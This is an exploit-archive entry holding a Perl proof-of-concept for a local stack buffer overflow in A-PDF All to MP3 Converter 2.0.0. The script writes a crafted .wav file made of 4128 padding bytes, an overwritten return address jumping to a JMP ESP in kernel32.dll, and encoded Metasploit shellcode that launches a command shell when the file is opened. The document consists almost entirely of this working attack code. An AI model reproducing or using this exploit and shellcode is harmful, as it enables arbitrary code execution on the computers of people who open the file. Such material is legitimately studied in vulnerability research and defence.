A-PDF All to MP3 Converter 2.0.0 – ‘.wav’ Local Buffer Overflow
# Exploit Title: A-PDF All to MP3 Converter v.2.0.0 stack based buffer overflow # Software Link: http://www.a-pdf.com/all-to-mp3/download.htm # Version: <= 2.0.0 # Tested on: Win XP SP3 French # Date: 17/01/2011 # Author: h1ch4m #Email: h1ch4m@live.fr #Home: http://Net-Effects.blogspot.com # triggering details: Open the app, drag the wav file, booom cmd pops out my $file= "1.wav"; my $junk = "\x41" x 4128; my $EIP = pack('V', 0x7c86467b); # JMP ESP (ff e4) kernel32.dll # windows/exec - 220 bytes # http://www.metasploit.com # Encoder: x86/call4_dword_xor # EXITFUNC=seh, CMD=cmd my $shellcode = "\x29\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76" . "\x0e\xd1\xd1\xc1\x66\x83\xee\xfc\xe2\xf4\x2d\x39\x48\x66" . "\xd1\xd1\xa1\xef\x34\xe0\x13\x02\x5a\x83\xf1\xed\x83\xdd" . "\x4a\x34\xc5\x5a\xb3\x4e\xde\x66\x8b\x40\xe0\x2e\xf0\xa6" . "\x7d\xed\xa0\x1a\xd3\xfd\xe1\xa7\x1e\xdc\xc0\xa1\x33\x21" . "\x93\x31\x5a\x83\xd1\xed\x93\xed\xc0\xb6\x5a\x91\xb9\xe3" . "\x11\xa5\x8b\x67\x01\x81\x4a\x2e\xc9\x5a\x99\x46\xd0\x02" . "\x22\x5a\x98\x5a\xf5\xed\xd0\x07\xf0\x99\xe0\x11\x6d\xa7" . "\x1e\xdc\xc0\xa1\xe9\x31\xb4\x92\xd2\xac\x39\x5d\xac\xf5" . "\xb4\x84\x89\x5a\x99\x42\xd0\x02\xa7\xed\xdd\x9a\x4a\x3e" . "\xcd\xd0\x12\xed\xd5\x5a\xc0\xb6\x58\x95\xe5\x42\x8a\x8a" . "\xa0\x3f\x8b\x80\x3e\x86\x89\x8e\x9b\xed\xc3\x3a\x47\x3b" . "\xbb\xd0\x4c\xe3\x68\xd1\xc1\x66\x81\xb9\xf0\xed\xbe\x56" . "\x3e\xb3\x6a\x2f\xcf\x54\x3b\xb9\x67\xf3\x6c\x4c\x3e\xb3" . "\xed\xd7\xbd\x6c\x51\x2a\x21\x13\xd4\x6a\x86\x75\xa3\xbe" . "\xab\x66\x82\x2e\x14\x05\xbc\xb5\xc1\x66"; open($FILE,">$file"); print $FILE $junk.$EIP.$shellcode; close($FILE); |